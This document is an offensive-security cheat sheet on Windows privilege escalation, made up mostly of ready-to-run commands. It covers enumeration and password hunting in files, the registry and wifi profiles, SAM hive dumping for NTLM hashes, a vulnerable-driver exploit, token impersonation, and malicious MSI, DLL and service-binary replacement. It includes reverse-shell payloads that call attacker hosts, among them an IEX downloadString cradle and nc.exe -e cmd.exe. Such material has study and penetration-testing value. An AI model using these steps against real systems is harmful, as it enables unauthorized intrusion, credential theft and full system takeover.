# Windows Privilege Escalation

### PrivEsc Guides

* <https://infosecwriteups.com/privilege-escalation-in-windows-380bee3a2842>
* **services** => <https://payatu.com/blog/suraj/Windows-Privilege-Escalation-Guide>
* **services** => binpath and write on folder permission: <https://steflan-security.com/windows-privilege-escalation-weak-permission/>

### Windows privilege escalation

In privilege escalation phase we always start by gathering as much information as we can about a target system then find misconfigurations,inadequate security controls,exploit stuffs running as higher privilege and so on.

### Target Enumeration Phase(System Based)

* finding operation system name,version and overall general system information: `systeminfo`
* finding hostname of the box: `hostname`
* finding which user we are connected as: `echo %username%`
* how many users are on the box: `net users`
* viewing our user's information in more detail: `net user username`
* local groups on the box: `net local group`
* which users are currently logged on in this machine `net logons`
* avialable network interfaces: `ipconfig /all`
* local routing table: `route print`
* finding arp addresses(mac address in the network): `arp -a`
* finding active network connections: `netstat -ano`
* finding available firewall state: `netsh firewall show state`
* finding available firewall configuration: `netsh firewall show config`
* finding scheduled tasks: `schtasks`, `schtasks /query /fo LIST`
* running process: `tasklist /SVC`
* finding started services: `net start`
* finding installed drivers: `DRIVERQUERY`
* finding patches: `wmic qfe`
* we can look out respective kb patch numbers to find exploits online
* qfe: quick fix engineering
* finding services that an authenticated user can modify: `accesschk.exe /accepteula -uwcqv "Authenticated Users"`
* finding drives: `wmic logicaldisk get caption,description,providername`
* Finding Installed Applicationa and their version for targeting them for privilege escalation: `wmic product get name, version, vendor`
* Finding unmounted drives: `mountvol`
* Always check installed applications and their version for potential privilege escalation usually inside `C:\Windows\Program Files\ and C:\Windows\Program Files (x86)\`

### Tools and Repositories

* Info gathering, some passwords: `Seatbelt.exe`
* Missing windows patches and respective cves identification: `Watson.exe`, `Sherlock.ps1`
* Common Priv esc find: `Winpeas.exe`, `PowerUp.ps1`, `SharpUp.exe`, `windows-privesc-check2.exe`, `jaws-enum.ps1,` `Invoke-PrivescCheck`
* metasploit: `Exploit Suggestor`
* python: `windows-exploit-suggester.py`, `wesng.py`
* metasploit local exploit suggestor(when we are in a meterpreter sesion): `run /post/multi/recon/local_exploit_suggester`

### User based enumeration

* who we are on the box: `whoami`&#x20;
* what privelege does our current user has: `whoami /priv`&#x20;
* which groups we are in: `whoami /groups`

### Powershell History

Never forget to check powershell history file at

```powershell
 C:\Users\<username>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine
```

### Finding passwords

To find passwords we search based on findstr command with regex and names of files we want to search in.The below searches on the directory we are inside.

```batch
findstr /si password *.txt,*.ini,*.config,*.php,*.xml
```

### Search wifi password

```batch
netsh wlan show profile 
netsh wlan show profile name= "Wi-Fi name" key=clear
```

### Passwords in registry

```powershell
reg query HKLM /f password /t REG_SZ /s
```

```powershell
reg query HKCU /f password /t REG_SZ /s
```

### Enumerating Readable/Writable Files and Directories

Lets find file with insecure file permission inside Program Files directory.

```batch
accesschk.exe -uws "Everyone" "C:\Program Files"
```

Search file by name

<pre class="language-batch"><code class="lang-batch"><strong>dir /s *foo*
</strong></code></pre>

Search file by owner

```batch
dir c:\*.* /S /Q|FIND /i "owner"
```

### Enumerating readable writable shares using powershell

{% code overflow="wrap" %}

```powershell
Get-ChildItem "C:\Program Files" -Recurse | Get-ACL | ?{$_.AccessToString -match "Everyone\sAllow\s\sModify"}
```

{% endcode %}

### List Installed Programs

{% code overflow="wrap" %}

```batch
reg query HKEY_LOCAL_MACHINE\SOFTWARE
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
```

{% endcode %}

### Antivirus and services

* service control == `sc`
* querying about windows defender: `sc query windefend`&#x20;
* what servives are running their state, are they stoppable/restartable,etc: `sc queryex type= service`

### Google exploit for specific os and build version

* `systeminfo`&#x20;
* `microsoft windows xp professional 5.1.2600 Service Pack 1 Build 2600`

### Kernel and system exploits

we can use `systeminfo` command and save/copy-paste the output in a txt file then run windows-exploit-suggester.py to find potential privelege esclation methods based on kernel and system information.first update the database following the process from <https://github.com/AonCyberLabs/Windows-Exploit-Suggester>.

{% code overflow="wrap" %}

```python
./windows-exploit-suggester.py --database 2021-04-17-mssb.xlsx --systeminfo saved-output.txt
```

{% endcode %}

Also check os version from system info and try finding kernel exploits

### whoami /priv exploitations

If you see any of these it might be worth looking at attack scenerio based upon these priveleges.

1. SeAssignPrimaryToken
2. SeImpersonatePrivilege
3. SeBackup
4. SeCreateToken
5. SeDebug
6. SeLoadDriver
7. SeRestore
8. SeTakeOwnership
9. SeTcb

#### SeBackup privilege

If the user we have compromised has SeBackup privilege enabled this means we can create backup of the entire system and read sensative files in order to elavate our privileges.First move to a writable directory in the victim host and save variants of both system and SAM files doing the following.

```batch
cd C:\Windows\Temp
reg save hklm\sam C:\Windows\Temp\sam
reg save hklm\system C:\Windows\Temp\system
```

Now transfer both these files to our attacking machine. Now, we can extract the hive secrets from the SAM and SYSTEM file using pypykatz.We can download it from <https://github.com/skelsec/pypykatz>. It is a variant of Mimikatz cooked in Python. So, we can run its registry function and then use the --sam parameter to provide the path to the SAM and SYSTEM files.Run it as shown below, the arguments provided to --sam are the sam and the system file variants that we downloaded.

```bash
pypykatz registry --sam sam system
```

After this it will show us the NTLM hash of all the users in the machine which can then be leveraged into pass the hash attacks.

#### SeLoadDriver privilege(Works till Windows 10 Version 1708)

This privilege allows users to load and unload device drivers.By default this privilege is assigned to Administrators and Print Operators. Basically if this privilege is assigned to our compromised user we can load an already vulnerable driver and exploit the vulnerable driver to get system access, Capcom.sys is a vulnerable driver however during real engagements other vulnerable drivers and their poc can be found and exploited. Capcom.sys allows to execute code in kernel space by a function defined in user space. We can download Capcom.sys from <https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys> to load this driver we use EOPLOADDRIVER.exe from <https://github.com/TarlogicSecurity/EoPLoadDriver> (compile it)

* Upload both Capcom.sys and EOPLOADDRIVER.exe on victim host and load the Capcop.sys using EOPLOADDRIVER.exe

{% code overflow="wrap" %}

```batch
.\EOPLOADDRIVER.exe System\CurrentControlSet\MyService C:\path-to\Capcom.sys
```

{% endcode %}

* Download ExploitCapcom.cpp from <https://github.com/tandasat/ExploitCapcom/tree/master/ExploitCapcom/ExploitCapcom> modify the `LaunchShell()` function to execute our exe or bat reverse shell and generate an exe or bat reverse shell using msfvenom and upload both files to victim host.
* Execute ExploitCapcom.exe on victim host while listening on port specified on reverse shell

```batch
.\ExploitCapcom.exe
```

### Token impersonation(potato attacks)

Tokens are like cookies they are temporary keys that allows you access system/network without having to provide credentials.for example domain admin or helpdesk logging into the computer and leaving token behind and the tokens wont go until the computer is rebooted.

Do `whoami /priv` if you see SeImpersonatePrivilege privelege then we can use rotten potato or juicy potato attack to elavate our privilege to nt authority or administartor. <https://decoder.cloud/2017/12/23/the-lonely-potato/>.

If the current user has SeImpersonatePrivilege and the windows build is latest we can use PrintSpoofer.exe to impersonate our privileges very easily. <https://github.com/itm4n/PrintSpoofer.>

```batch
.\PrintSpoofer.exe -i -c cmd
```

Using metasploit we can easily impersonate our privileges by doing the following

```powershell
upload rottenpotato.exe
load incognito
execute -cH -f rottenpotato.exe
list_tokens -u OR list_tokens -g (check both)
impersonate_token "NT AUTHORITY\\SYSTEM"
```

Here is another way of abusing SeImpersonatePrivilege manually using juicypotato => <https://medium.com/r3d-buck3t/impersonating-privileges-with-juicy-potato-e5896b20d505>

* If target is windows server 2003 and older then token hijacking can be performed if we have SeImpersonate privilege using **churrasco.exe**

### AlwaysInstallElavated

If the windows pacakges are automatically installed elavated(as an admin user) we can create a malicious .msi(microsoft installer) package and install it to gain admin privilege since the pacakges are installed elavated or as administrator.

To find if pacakges will be installed elavated or not:

{% code overflow="wrap" %}

```powershell
reg query HKLM\Software\Policies\Microsoft\Windows\Installer
```

{% endcode %}

Again run&#x20;

{% code overflow="wrap" %}

```powershell
reg query HKCU\Software\Policies\Microsoft\Windows\Installer
```

{% endcode %}

If both the values are of AlwaysInstallElavated is 1 we can can create a malicious msi pacakge

{% code overflow="wrap" %}

```powershell
msfvenom -p windows/shell_reverse_tcp lhost=attacker_ip lport=9999 -f msi -o setup.msi
```

{% endcode %}

Listen for revrse shell on port 9999 and copy it to folder having write access for example C:\Temp then run it using:&#x20;

{% code overflow="wrap" %}

```powershell
msiexec /quiet /qn /i C:\Temp\setup.msi
```

{% endcode %}

&#x20;we will have administrator access!

### cmdkey and runas

If there are stored credentials on the machine we can check them via cmdkey command and use it with runas to access higher privilege stuffs or elavate our privilege. check for stored credentials:&#x20;

{% code overflow="wrap" %}

```powershell
cmdkey /list
```

{% endcode %}

suppose we see there is currently stored credentials for ACER\Administrator then we can use runas.exe to view the root hash(in case of boxes) or sensative files as ACER\Administrator since currently the credentials is stored on the machine&#x20;

{% code overflow="wrap" %}

```batch
C:\Windows\System32\runas.exe /user:ACER\Administrator /savecred "C:\Windows\System32\cmd.exe /c TYPE C:\Users\Administrator\Desktop\root.txt" > C:\Users\security\root.txt
```

{% endcode %}

(may not work)

If runas doesnot work load a powershell session and use Invoke-Runas.ps1 script from FuzzySecurity github, paste the below at bottom of script

{% code overflow="wrap" %}

```powershell
Invoke-Runas -User Administrator -Password <stored-pass> -LogonType 0x1 -Binary C:\Path_To_POwershell\powershell.exe -Args "IEX(New-Object Net.WebClient).downloadString('http://<attacker-ip>:8000/rev.ps1')"
```

{% endcode %}

### Finding non-standard services along with their name,pathname,startmode if PowerUp doesnot work or accesschk.exe doesnot work

{% code overflow="wrap" %}

```batch
wmic service get name,displayname,pathname,startmode |findstr /i "auto" | findstr /i /v "c:\windows"
```

{% endcode %}

Dont forget to check service paths which are unquoted

### Service escalation - Controllable Registry Entry

If we have the ability to control registry entry for a windows service we can replace that executable file that is run when the service starts with our own malicious file and gain elavated access on the system. To see if we have full conrol over a registry key(after powershell -ep bypass):&#x20;

{% code overflow="wrap" %}

```powershell
Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc | fl
```

{% endcode %}

* if we see authenticated user or our user or everyone has “FullContol” permission over the registry key.
* download malicious c file from <https://github.com/sagishahar/scripts/blob/master/windows_service.c>
* Replace system function value with `cmd.exe /k net localgroup administrators username /add` to add current user to administrator group
* on local machine: `sudo apt install gcc-mingw-w64`
* `x86_64-w64-mingw32-gcc windows_service.c -o hello.exe`
* transfer hello.exe to temp folder then run below command
* `reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d c:\temp\hello.exe /f`
* `sc start regsvc`

### Weak Service Binary Permission

We may see elavated services running as executables. If the executable has `FILE_ALL_ACCESS` permission or Modifiable permission by our user, everyone or authenticated users we can replace the executable with our own malicious executable and start/restart the service to gain higher privelege.To identify such services we can run PowerUp.ps1(privilege esclation script) Download PowerUp.ps1 on victim host and run at same time

{% code overflow="wrap" %}

```powershell
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks
```

{% endcode %}

* we can query that servic executable further using icacls if that service has `(F) full access`,`(W) write access` or `(M) modify access` by our user then we can create reverse shell with the original service name then according to the permission we have over that service suppose if we have modify access we can rename the service binary name as anything.bak and move our reverse shell with the same name as original service executable to that directory after restarting the computer or restarting the service a reverse shell will get triggered
* If we have `Full (F)` permission over that service we can just replace the actual service with our malicious service.exe with the original service name to trigger reverse shell upon restarting the computer or the service

{% code overflow="wrap" %}

```powershell
copy /y c:\Temp\service.exe "c:\Program Files\File Permissions Service\service.exe"
```

{% endcode %}

* starting the service: `sc start servicename`
* Restarting the computer: `shutdown /r /t`

### Weak Service Config Permission

lets find services which everyone or Authenticated Users has write access to:

```powershell
accesschk64.exe -uwcv Everyone *
```

```powershell
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
```

OR we can query for vunerable services using SharpUp

```powershell
 C:\Tools\SharpUp\SharpUp\bin\Release\SharpUp.exe audit ModifiableServices
```

{% code overflow="wrap" %}

```powershell
PS C:\Users\Alex> Import-Module C:\Tools\Get-ServiceAcl.ps1
PS C:\Users\Alex> Get-ServiceAcl -Name daclsvc | select -expand Access

ServiceRights : ChangeConfig, Start, Stop
AccessControlType : AccessAllowed
IdentityReference : NT AUTHORITY\Authenticated Users
IsInherited : False
InheritanceFlags : None
PropagationFlags : None
```

{% endcode %}

And suppose we find a service named daclsvc lets query it further:&#x20;

```powershell
accesschk64.exe -uwcv daclsvc
```

&#x20;also&#x20;

```powershell
sc qc daclsvc
```

Now if we see `RW serviceName SERVICE_ALL_ACCESS` or `SERVICE_CHANGE_CONFIG`  it means we can change the configuration of this service so maybe we can change the binary path itself of this service and instead of running `C:\Program Files\Vulnerable Service\daclsvc.exe` it runs `C:\Temp\exploit.exe`

* `sc config daclsvc binPath= C:\Temp\exploit.exe`

```powershell
sc stop daclsvc
sc start daclsvc
```

OR

* Restart Windows: `shutdown /r /t`

### Unqouted service paths

It is a vulnerability where path to the service binary is not wrapped in quotes and the directories inside where the services reside has spaces in them and we have write permission on those directory. Why is this a vulnerability? When windows loads the service named VulnService whose binary path resides inside `C:\Program Files\Vulnerable Services\Service.exe` first windows will treat space as terminator and attempts to execute.

* C:\Program.exe&#x20;
* C:\Program Files\Vulnerable.exe&#x20;
* C:\Program Files\Vulnerable Services\Service.exe&#x20;

If we are able to drop such executable inside the directory then we can abuse this issue. To exploit this issue First find services whose binary path is not wrapped inside quotes.

To find unquoted service paths:&#x20;

{% code overflow="wrap" %}

```batch
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """
```

{% endcode %}

OR&#x20;

```batch
wmic service get name, pathname
```

To check where our user group has write permission to the folder &#x20;

* `icacls C:\Program Files`&#x20;
* `icacls C:\Program Files\Vulnerable Services`

```batch
 cd C:\Program Files\
 copy C:\Windows\Temp\Vulnerable.exe C:\Program Files\Vulnerable.exe
 sc stop VulnService1
 sc start VulnService1
```

### Dll hijacking

Dll is a dynamic link library which contains codes and data which can be used by another service(one or more) to perform its task.It is similar to .so shared object file in linux.When windows environment starts up a service or an application it looks for dlls associated with it but if the dll doesn't exist and the dll path is writable and if we can control the service we can create a mailicious dll and run that executable or start that service which the dll is related to and gain administrative privilege if that executable or service is an elavated service. identification of missing dlls: suppose we find an interesting process or service using powersploit.ps1 or we manually find some services and in procmon we set filters to NAME NO FOUND we dump process using procdump then we start the service and after starting the service if we see name not found or something not found or similar stuff there may be possibility we can hijack the dll to create a malicious dll.

{% code overflow="wrap" %}

```powershell
msfvenom -p windows/x64/exec CMD='\\10.10.15.209\tools\nc.exe 10.10.15.209 4442 -e cmd.exe' -f dll > service.dll
```

{% endcode %}

place the dll in the path where it is being called from (the path should be writable) then we do

```batch
sc stop service & sc start service
```

### wsl running

If wsl is running with root privelege we can execute bind or reverse shell via wsl via the linux os which is installed and obtain root shell. we donot need to know the root password for the installed wsl os.

finding if wsl exists on the system

```batch
where /R c:\windows wsl.exe
```

Now go to the directory where wsl.exe is and do&#x20;

```batch
wsl.exe whoami
```

Now find which os it is actually running suppose it is running ubuntu we can set default user to root by

```batch
./ubuntun1604.exe config --default-user root
```

And finally

```powershell
wsl python -c 'reverse shell'
```

Here we can use any reverse shell not only python.

### writable smb admin share

if you have smb credenials of the administrator user we can use smbexec.py from impacket to gain administrator semi interactive shell then from there we can upload another netcat ani execute reverse shell to gain full administrative shell:&#x20;

{% code overflow="wrap" %}

```python
python3 smbexec.py administrator:'hello123'@10.10.13.155
```

{% endcode %}

### Metasploit getsystem easy priv esc

There is a built in metasploit tool which automatically attempts to elavate our privileges by named pipe impersonation and token duplication&#x20;

```powershell
getsystem
```

### Autoruns(usually during real engagements)

autoruns are the programs which runs automatically suppose on startup of computer with a dialogue box "windows wants to runs the application" with a yes or no options.If we have write access to any autorun program we can replace that program with our malicious program(reverse shell) but with the same name in the same folder and when an administrator logs into his/her pc and click yes on the prompt to run the program we can get a reverse shell.In order for this to work we need to have rdp access to the machine.

* Download Autoruns64.exe and transfer it to the machine then launch it or do: `reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run`
* suppose we see program.exe which runs automatically on startup
* Download accesschk64.exe and transfer it to the machine and check the permissions of program.exe `accesschk64.exe -wvu "C:\Program Files\program.exe"`
* if we see RW permission by Everyone which means everybody has write permission on the program we can create a reverse shell with same name and replace it and when an administrator logs into the computer or we just wait for the program to be run by an elevated user then we can have his/her access.

### Startup applications(usually during real engagements)

startup applications are the applications which starts when the computer is booted like in my pc the discord always starts when the computer is booted if we have Full control (F) over such applications we can create a malicious application of our own and replace in the same way as above and when an elavated user boots up the computer and logs in the application is run and we get reverse shell. To find startup applications:&#x20;

```powershell
wmic startup get caption,command
```

suppose discord update launches on startup now to check if we have (F) access to it we use icacls:&#x20;

```powershell
icacls C:\Users\Acer\AppData\Local\Discord\Update.exe
```

If we see Full Control we can create a malicious Update.exe and replace in same Discord folder:&#x20;

{% code overflow="wrap" %}

```powershell
copy /y c:\Temp\Update.exe "C:\Users\Acer\AppData\Local\Discord\Update.exe"
```

{% endcode %}

And when an administrator boots into his/her ac we will have a reverse shell.
